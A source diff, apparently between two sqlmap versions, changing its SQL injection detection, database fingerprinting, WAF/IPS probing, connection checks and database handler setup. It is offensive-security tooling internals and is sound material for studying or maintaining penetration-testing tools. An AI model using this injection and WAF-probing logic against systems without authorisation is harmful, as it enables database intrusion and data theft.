                         elif conf.invalidBignum:
                             origValue = kb.data.randomInt[:6]
                         elif conf.invalidString:
@@ -442,11 +460,13 @@ def checkSqlInjection(place, parameter, value):
                         boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                         boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                         reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+
                         if reqPayload:
-                            if reqPayload in seenPayload:
+                            stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
+                            if stripPayload in seenPayload:
                                 continue
                             else:
-                                seenPayload.add(reqPayload)
+                                seenPayload.add(stripPayload)
                     else:
                         reqPayload = None
 
@@ -454,13 +474,13 @@ def checkSqlInjection(place, parameter, value):
                     # payload was successful
                     # Parse test's <response>
                     for method, check in test.response.items():
-                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
                         # In case of boolean-based blind SQL injection
                         if method == PAYLOAD.METHOD.COMPARISON:
                             # Generate payload used for comparison
                             def genCmpPayload():
-                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
                                 # Forge response payload by prepending with
                                 # boundary's prefix and appending the boundary's
@@ -498,12 +518,16 @@ def checkSqlInjection(place, parameter, value):
                                         errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                         if errorResult:
                                             continue
-                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                         _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                         if _ > kb.matchRatio:
                                             kb.matchRatio = _
                                             logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
 
+                                    # Reducing false-positive "appears" messages in heavily dynamic environment
+                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
+                                        continue
+
                                     injectable = True
 
                                 elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -540,14 +564,14 @@ def checkSqlInjection(place, parameter, value):
                                         logger.info(infoMsg)
                                     else:
                                         trueSet = set(extractTextTagContent(trueRawResponse))
-                                        trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
+                                        trueSet |= set(__ for _ in trueSet for __ in _.split())
 
                                         falseSet = set(extractTextTagContent(falseRawResponse))
-                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+                                        falseSet |= set(__ for _ in falseSet for __ in _.split())
 
                                         if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                             errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
-                                            errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
+                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                         else:
                                             errorSet = set()
 
@@ -588,10 +612,10 @@ def checkSqlInjection(place, parameter, value):
                             # body for the test's <grep> regular expression
                             try:
                                 page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
-                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
 
                                 if output:
                                     result = output == "1"
@@ -660,18 +684,6 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg += "there is at least one other (potential) "
                                 infoMsg += "technique found"
                                 singleTimeLogMessage(infoMsg)
-                            elif not injection.data:
-                                _ = test.request.columns.split('-')[-1]
-                                if _.isdigit() and int(_) > 10:
-                                    if kb.futileUnion is None:
-                                        msg = "it is not recommended to perform "
-                                        msg += "extended UNION tests if there is not "
-                                        msg += "at least one other (potential) "
-                                        msg += "technique found. Do you want to skip? [Y/n] "
-
-                                        kb.futileUnion = not readInput(msg, default='Y', boolean=True)
-                                    if kb.futileUnion is False:
-                                        continue
 
                             # Test for UNION query SQL injection
                             reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -688,7 +700,7 @@ def checkSqlInjection(place, parameter, value):
 
                         kb.previousMethod = method
 
-                        if conf.dummy or conf.offline:
+                        if conf.offline:
                             injectable = False
 
                     # If the injection test was successful feed the injection
@@ -755,7 +767,7 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                 logger.info(infoMsg)
 
-                                process = subprocess.Popen(conf.alert, shell=True)
+                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                 process.wait()
 
                             kb.alerted = True
@@ -777,7 +789,7 @@ def checkSqlInjection(place, parameter, value):
 
             if conf.multipleTargets:
                 msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
-                choice = readInput(msg, default='T', checkBatch=False).upper()
+                choice = readInput(msg, default='X', checkBatch=False).upper()
             else:
                 msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
                 choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -830,6 +842,7 @@ def checkSqlInjection(place, parameter, value):
 
     return injection
 
+@stackedmethod
 def heuristicCheckDbms(injection):
     """
     This functions is called when boolean-based blind is identified with a
@@ -849,8 +862,8 @@ def heuristicCheckDbms(injection):
         if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
             continue
 
-        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
-            if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
+        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
+            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                 retVal = dbms
                 break
 
@@ -866,6 +879,7 @@ def heuristicCheckDbms(injection):
 
     return retVal
 
+@stackedmethod
 def checkFalsePositives(injection):
     """
     Checks for false positives (only in single special cases)
@@ -873,8 +887,7 @@ def checkFalsePositives(injection):
 
     retVal = True
 
-    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
-      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
+    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
         pushValue(kb.injection)
 
         infoMsg = "checking if the injection point on %s " % injection.place
@@ -886,7 +899,7 @@ def checkFalsePositives(injection):
 
         kb.injection = injection
 
-        for i in xrange(conf.level):
+        for level in xrange(conf.level):
             while True:
                 randInt1, randInt2, randInt3 = (_() for j in xrange(3))
 
@@ -928,6 +941,7 @@ def checkFalsePositives(injection):
 
     return retVal
 
+@stackedmethod
 def checkSuhosinPatch(injection):
     """
     Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -951,6 +965,7 @@ def checkSuhosinPatch(injection):
 
         kb.injection = popValue()
 
+@stackedmethod
 def checkFilteredChars(injection):
     debugMsg = "checking for filtered characters"
     logger.debug(debugMsg)
@@ -971,7 +986,7 @@ def checkFilteredChars(injection):
 
     # inference techniques depend on character '>'
     if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
-        if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
+        if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
             warnMsg = "it appears that the character '>' is "
             warnMsg += "filtered by the back-end server. You are strongly "
             warnMsg += "advised to rerun with the '--tamper=between'"
@@ -980,8 +995,8 @@ def checkFilteredChars(injection):
     kb.injection = popValue()
 
 def heuristicCheckSqlInjection(place, parameter):
-    if kb.nullConnection:
-        debugMsg = "heuristic check skipped because NULL connection used"
+    if kb.heavilyDynamic:
+        debugMsg = "heuristic check skipped because of heavy dynamicity"
         logger.debug(debugMsg)
         return None
 
@@ -1104,14 +1119,6 @@ def checkDynParam(place, parameter, value):
     try:
         payload = agent.payload(place, parameter, value, getUnicode(randInt))
         dynResult = Request.queryPage(payload, place, raise404=False)
-
-        if not dynResult:
-            infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
-            logger.info(infoMsg)
-
-            randInt = randomInt()
-            payload = agent.payload(place, parameter, value, getUnicode(randInt))
-            dynResult = Request.queryPage(payload, place, raise404=False)
     except SqlmapConnectionException:
         pass
 
@@ -1171,6 +1178,8 @@ def checkDynamicContent(firstPage, secondPage):
             warnMsg += "sqlmap is going to retry the request(s)"
             singleTimeLogMessage(warnMsg, logging.CRITICAL)
 
+            kb.heavilyDynamic = True
+
             secondPage, _, _ = Request.queryPage(content=True)
             findDynamicContent(firstPage, secondPage)
 
@@ -1213,7 +1222,7 @@ def checkStability():
             logger.error(errMsg)
 
     else:
-        warnMsg = "target URL content is not stable. sqlmap will base the page "
+        warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
         warnMsg += "comparison on a sequence matcher. If no dynamic nor "
         warnMsg += "injectable parameters are detected, or in case of "
         warnMsg += "junk results, refer to user's manual paragraph "
@@ -1298,14 +1307,14 @@ def checkRegexp():
     rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
 
     if not re.search(conf.regexp, rawResponse, re.I | re.M):
-        warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
-        warnMsg += "match, but such a regular expression does not have any "
-        warnMsg += "match within the target URL raw response, sqlmap "
+        warnMsg = "you provided '%s' as the regular expression " % conf.regexp
+        warnMsg += "which does not have any match within the target URL raw response. sqlmap "
         warnMsg += "will carry on anyway"
         logger.warn(warnMsg)
 
     return True
 
+@stackedmethod
 def checkWaf():
     """
     Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1318,7 +1327,7 @@ def checkWaf():
     if _ is not None:
         if _:
             warnMsg = "previous heuristics detected that the target "
-            warnMsg += "is protected by some kind of WAF/IPS/IDS"
+            warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
         return _
 
@@ -1326,34 +1335,47 @@ def checkWaf():
         return None
 
     infoMsg = "checking if the target is protected by "
-    infoMsg += "some kind of WAF/IPS/IDS"
+    infoMsg += "some kind of WAF/IPS"
     logger.info(infoMsg)
 
     retVal = False
     payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
 
-    value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
-    value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
+    if PLACE.URI in conf.parameters:
+        place = PLACE.POST
+        value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
+    else:
+        place = PLACE.GET
+        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
+        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
 
+    pushValue(kb.redirectChoice)
+    pushValue(kb.resendPostOnRedirect)
     pushValue(conf.timeout)
+
+    kb.redirectChoice = REDIRECTION.YES
+    kb.resendPostOnRedirect = False
     conf.timeout = IDS_WAF_CHECK_TIMEOUT
 
     try:
-        retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
+        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
     except SqlmapConnectionException:
         retVal = True
     finally:
         kb.matchRatio = None
+
         conf.timeout = popValue()
+        kb.resendPostOnRedirect = popValue()
+        kb.redirectChoice = popValue()
 
     if retVal:
         warnMsg = "heuristics detected that the target "
-        warnMsg += "is protected by some kind of WAF/IPS/IDS"
+        warnMsg += "is protected by some kind of WAF/IPS"
         logger.critical(warnMsg)
 
         if not conf.identifyWaf:
             message = "do you want sqlmap to try to detect backend "
-            message += "WAF/IPS/IDS? [y/N] "
+            message += "WAF/IPS? [y/N] "
 
             if readInput(message, default='N', boolean=True):
                 conf.identifyWaf = True
@@ -1366,6 +1388,7 @@ def checkWaf():
 
     return retVal
 
+@stackedmethod
 def identifyWaf():
     if not conf.identifyWaf:
         return None
@@ -1376,7 +1399,7 @@ def identifyWaf():
     kb.testMode = True
 
     infoMsg = "using WAF scripts to detect "
-    infoMsg += "backend WAF/IPS/IDS protection"
+    infoMsg += "backend WAF/IPS protection"
     logger.info(infoMsg)
 
     @cachedmethod
@@ -1403,7 +1426,7 @@ def identifyWaf():
             continue
 
         try:
-            logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
+            logger.debug("checking for WAF/IPS product '%s'" % product)
             found = function(_)
         except Exception, ex:
             errMsg = "exception occurred while running "
@@ -1413,19 +1436,19 @@ def identifyWaf():
             found = False
 
         if found:
-            errMsg = "WAF/IPS/IDS identified as '%s'" % product
+            errMsg = "WAF/IPS identified as '%s'" % product
             logger.critical(errMsg)
 
             retVal.append(product)
 
     if retVal:
-        if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
+        if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
             handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
             os.close(handle)
             with openFile(filename, "w+b") as f:
                 f.write(kb.wafSpecificResponse)
 
-            message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
+            message = "WAF/IPS specific response can be found in '%s'. " % filename
             message += "If you know the details on used protection please "
             message += "report it along with specific response "
             message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1442,7 +1465,7 @@ def identifyWaf():
         if not choice:
             raise SqlmapUserQuitException
     else:
-        warnMsg = "WAF/IPS/IDS product hasn't been identified"
+        warnMsg = "WAF/IPS product hasn't been identified"
         logger.warn(warnMsg)
 
     kb.testType = None
@@ -1450,6 +1473,7 @@ def identifyWaf():
 
     return retVal
 
+@stackedmethod
 def checkNullConnection():
     """
     Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1498,18 +1522,23 @@ def checkNullConnection():
     return kb.nullConnection is not None
 
 def checkConnection(suppressOutput=False):
-    if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
-        try:
-            debugMsg = "resolving hostname '%s'" % conf.hostname
-            logger.debug(debugMsg)
-            socket.getaddrinfo(conf.hostname, None)
-        except socket.gaierror:
-            errMsg = "host '%s' does not exist" % conf.hostname
-            raise SqlmapConnectionException(errMsg)
-        except socket.error, ex:
-            errMsg = "problem occurred while "
-            errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
-            raise SqlmapConnectionException(errMsg)
+    if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
+        if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
+            try:
+                debugMsg = "resolving hostname '%s'" % conf.hostname
+                logger.debug(debugMsg)
+                socket.getaddrinfo(conf.hostname, None)
+            except socket.gaierror:
+                errMsg = "host '%s' does not exist" % conf.hostname
+                raise SqlmapConnectionException(errMsg)
+            except socket.error, ex:
+                errMsg = "problem occurred while "
+                errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapConnectionException(errMsg)
+            except UnicodeError, ex:
+                errMsg = "problem occurred while "
+                errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapDataException(errMsg)
 
     if not suppressOutput and not conf.dummy and not conf.offline:
         infoMsg = "testing connection to the target URL"
@@ -1522,6 +1551,10 @@ def checkConnection(suppressOutput=False):
 
         kb.errorIsNone = False
 
+        if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
+            singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
+            conf.disablePrecon = True
+
         if not kb.originalPage and wasLastResponseHTTPError():
             errMsg = "unable to retrieve page content"
             raise SqlmapConnectionException(errMsg)
@@ -1537,6 +1570,15 @@ def checkConnection(suppressOutput=False):
         else:
             kb.errorIsNone = True
 
+        threadData = getCurrentThreadData()
+
+        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
+            if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
+                conf.url = re.sub(r"https?://", "https://", conf.url)
+                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
+                port = match.group(1) if match else 443
+                conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
+
     except SqlmapConnectionException, ex:
         if conf.ipv6:
             warnMsg = "check connection to a provided "
@@ -1567,8 +1609,8 @@ def checkInternet():
     content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
     return CHECK_INTERNET_VALUE in (content or "")
 
-def setVerbosity():  # Cross-linked function
+def setVerbosity():  # Cross-referenced function
     raise NotImplementedError
 
-def setWafFunctions():  # Cross-linked function
+def setWafFunctions():  # Cross-referenced function
     raise NotImplementedError

lib/controller/controller.py

@@ -43,6 +43,7 @@ from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -55,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
+from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
+from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import IGNORE_PARAMETERS
@@ -152,12 +155,15 @@ def _formatInjection(inj):
             vector = "%s%s" % (vector, comment)
         data += "    Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
         data += "    Title: %s\n" % title
-        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
+        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
         data += "    Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
 
     return data
 
 def _showInjections():
+    if conf.wizard and kb.wizardMode:
+        kb.wizardMode = False
+
     if kb.testQueryCount > 0:
         header = "sqlmap identified the following injection point(s) with "
         header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -239,17 +245,22 @@ def _saveToResultsFile():
 
         results[key].extend(injection.data.keys())
 
-    for key, value in results.items():
-        place, parameter, notes = key
-        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
-        conf.resultsFP.write(line)
+    try:
+        for key, value in results.items():
+            place, parameter, notes = key
+            line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
+            conf.resultsFP.write(line)
 
-    if not results:
-        line = "%s,,,,%s" % (conf.url, os.linesep)
-        conf.resultsFP.write(line)
+        if not results:
+            line = "%s,,,,%s" % (conf.url, os.linesep)
+            conf.resultsFP.write(line)
 
-    conf.resultsFP.flush()
+        conf.resultsFP.flush()
+    except IOError, ex:
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        raise SqlmapSystemException(errMsg)
 
+@stackedmethod
 def start():
     """
     This function calls a function that performs checks on both URL
@@ -283,7 +294,7 @@ def start():
         try:
 
             if conf.checkInternet:
-                infoMsg = "[INFO] checking for Internet connection"
+                infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
 
                 if not checkInternet():
@@ -302,6 +313,7 @@ def start():
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
             conf.httpHeaders.extend(targetHeaders or [])
+            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
 
             initTargetEnv()
             parseTargetUrl()
@@ -368,9 +380,8 @@ def start():
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
 
                         else:
-                            if targetUrl.find("?") > -1:
-                                firstPart = targetUrl[:targetUrl.find("?")]
-                                secondPart = targetUrl[targetUrl.find("?") + 1:]
+                            if '?' in targetUrl:
+                                firstPart, secondPart = targetUrl.split('?', 1)
                                 message = "Edit GET data [default: %s]: " % secondPart
                                 test = readInput(message, default=secondPart)
                                 test = _randomFillBlankFields(test)
@@ -404,8 +415,7 @@ def start():
             if conf.nullConnection:
                 checkNullConnection()
 
-            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
-                and (kb.injection.place is None or kb.injection.parameter is None):
+            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
 
                 if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                     # NOTE: this is not needed anymore, leaving only to display
@@ -502,7 +512,7 @@ def start():
                             logger.info(infoMsg)
 
                         # Ignore session-like parameters for --level < 4
-                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                             testSqlInj = False
 
                             infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -521,7 +531,7 @@ def start():
 
                                     testSqlInj = False
                             else:
-                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
+                                infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
                                 logger.info(infoMsg)
 
                         kb.testedParams.add(paramKey)

lib/controller/handler.py

@@ -10,6 +10,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
+from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.informix.connector import Connector as InformixConn
 
@@ -56,19 +60,20 @@ def setHandler():
     """
 
     items = [
-                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
-                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
-                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
-                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
-                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
-                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
-                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
-                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
-                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
-                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
-                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
-            ]
+        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
+        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
+        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
+        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
+        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
+        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
+        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
+        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
+        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
+        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
+        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
+        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+    ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
     if _:
@@ -90,29 +95,41 @@ def setHandler():
         conf.dbmsConnector = Connector()
 
         if conf.direct:
+            exception = None
             dialect = DBMS_DICT[dbms][3]
 
             if dialect:
-                sqlalchemy = SQLAlchemy(dialect=dialect)
-                sqlalchemy.connect()
+                try:
+                    sqlalchemy = SQLAlchemy(dialect=dialect)
+                    sqlalchemy.connect()
 
-                if sqlalchemy.connector:
-                    conf.dbmsConnector = sqlalchemy
-                else:
-                    try:
-                        conf.dbmsConnector.connect()
-                    except NameError:
-                        pass
-            else:
-                conf.dbmsConnector.connect()
+                    if sqlalchemy.connector:
+                        conf.dbmsConnector = sqlalchemy
+                except Exception, ex:
+                    exception = ex
+
+            if not dialect or exception:
+                try:
+                    conf.dbmsConnector.connect()
+                except Exception, ex:
+                    if exception:
+                        raise exception
+                    else:
+                        if not isinstance(ex, NameError):
+                            raise
+                        else:
+                            msg = "support for direct connection to '%s' is not available. " % dbms
+                            msg += "Please rerun with '--dependencies'"
+                            raise SqlmapConnectionException(msg)
 
         if conf.forceDbms == dbms or handler.checkDbms():
             if kb.resolutionDbms:
                 conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+                conf.dbmsHandler._dbms = kb.resolutionDbms
             else:
                 conf.dbmsHandler = handler
+                conf.dbmsHandler._dbms = dbms
 
-            conf.dbmsHandler._dbms = dbms
